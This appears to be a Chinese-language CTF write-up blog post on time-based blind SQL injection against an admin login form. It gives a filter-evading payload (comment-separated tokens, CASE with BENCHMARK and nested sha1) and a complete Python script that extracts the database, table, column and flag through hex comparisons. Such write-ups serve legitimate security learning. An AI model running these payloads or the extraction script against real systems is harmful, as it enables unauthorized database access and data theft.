sql时间盲注

前期测试

确定注入点以及过滤内容

发现username必须是admin,如果不是admin混有其他字符的话就会返回you are not admin,但是password可以注入,先fuzz一下过滤的字符,过滤substr、union等字符,也过滤了sleep,同时还过滤了空格

确定注入类型

发现不论输入的内容是什么 页面的回显均是password error,所以尝试一下时间盲注的语句,但是过滤了sleep那么就需要使用benchmark,由于substr以及比较符之类的都没了,所以这里就用in了

1'or/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/benchmark(1000000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))end#
img

编写盲注脚本:

一开始在写的时候 忘记ascii不见了,所以写的还挺顺的,后来发现不见了,于是就要重新修改一下,想到之前刚学的hex于是就用hex进行书写一下试试

import requests
import time
import binascii
url="http://a.y1ng.vip:1102/index.php"
s=requests.session()
def hex_tran(s):
return hex(s).replace("0x", "")
def tran_str(g):
tran_tmp=""
g = binascii.unhexlify(g)
print(g.decode('utf-8'))
tran_tmp=g
print(tran_tmp[::-1])
return tran_tmp[::-1]


def sql_injection(payload:str):
wd_tr=""
for j in range(1,100):
for i in range(32,128):
payload_fina=f"1'or/**/case/**/(select/**/hex(right(({payload}),{j}))/**/in/**/('{hex_tran(i)+wd_tr}'))/**/when/**/1/**/then/**/benchmark(100000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))/**/else/**/1/**/end#"
data={
"username":"admin",
"password":payload_fina
}
print(data)
times=time.time()
r=s.post(url,data=data).text
if time.time()-times >= 4:
wd_tr=f"{hex_tran(i)}"+wd_tr
print(wd_tr)
break
if i==127:
wd_tr = tran_str(wd_tr)
print(wd_tr)
exit(0)




if __name__ =="__main__":
#payload="database()"
#payload="select group_concat(table_name) from information_schema.tables where table_schema in (select database())".replace(" ","/**/")
#payload="select group_concat(column_name) from information_schema.columns where table_name in ('Fl49ish3re')".replace(" ","/**/")
payload="select group_concat(f1aG123) from Fl49ish3re".replace(" ","/**/")#flag{08e687c1-cc68-4db0-9924-407792caf20e}
sql_injection(payload)

但是发现只能打印一部分表的感觉,但是ascii码表都齐了呀–就很奇怪。。。在本地测试了一下,因为我们是十六进制的,所以会出现abcdef这些字母,但是在mysql中 这些字母是大写的,但是在python中的转化结果是小写的,然后我们还使用了binary,区分大小写,所以就跑不出来了,这里我们可以将binary去掉,这样就没关系了

卡壳点

主要是还是编程能力太弱,还需多加锻炼
然后就是那个binary区分大小写的,如果是用字符去注的话就需要区分了,但是这里不是,直接用十六进制就不用了

Author

vague huang

Posted on

2021-08-01

Updated on

2021-08-06

Licensed under

Comments